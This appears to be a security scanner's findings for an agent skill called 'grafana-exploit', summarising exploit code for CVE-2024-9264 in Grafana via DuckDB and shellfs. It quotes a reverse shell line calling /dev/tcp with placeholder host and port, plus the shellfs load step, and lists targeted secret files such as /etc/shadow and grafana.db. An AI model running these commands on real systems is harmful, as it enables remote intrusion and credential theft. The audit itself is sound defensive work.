The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The documentation and associated scripts in references/duckdb-rce.md provide functional code to exploit CVE-2024-9264. This allows for arbitrary command execution on the target host by leveraging DuckDB SQL expressions and loading the shellfs extension.
[COMMAND_EXECUTION]: The skill includes a reverse_shell method within the references/duckdb-rce.md file that writes a shell payload (sh -i >& /dev/tcp/{ip}/{port} 0>&1) to a temporary file on the target system and then triggers its execution using bash.
[DATA_EXFILTRATION]: Multiple scripts, specifically in references/path-traversal-cves.md and references/other-cves-and-detection.md, are designed to harvest sensitive system files such as /etc/passwd, /etc/shadow, and application-specific secrets like the Grafana SQLite database (grafana.db) and configuration files (grafana.ini).
[EXTERNAL_DOWNLOADS]: The exploit script for CVE-2024-9264 performs a runtime download and installation of the shellfs extension from a community repository (install shellfs from community; LOAD shellfs;) to enable filesystem access and command execution capabilities.

grafana-exploit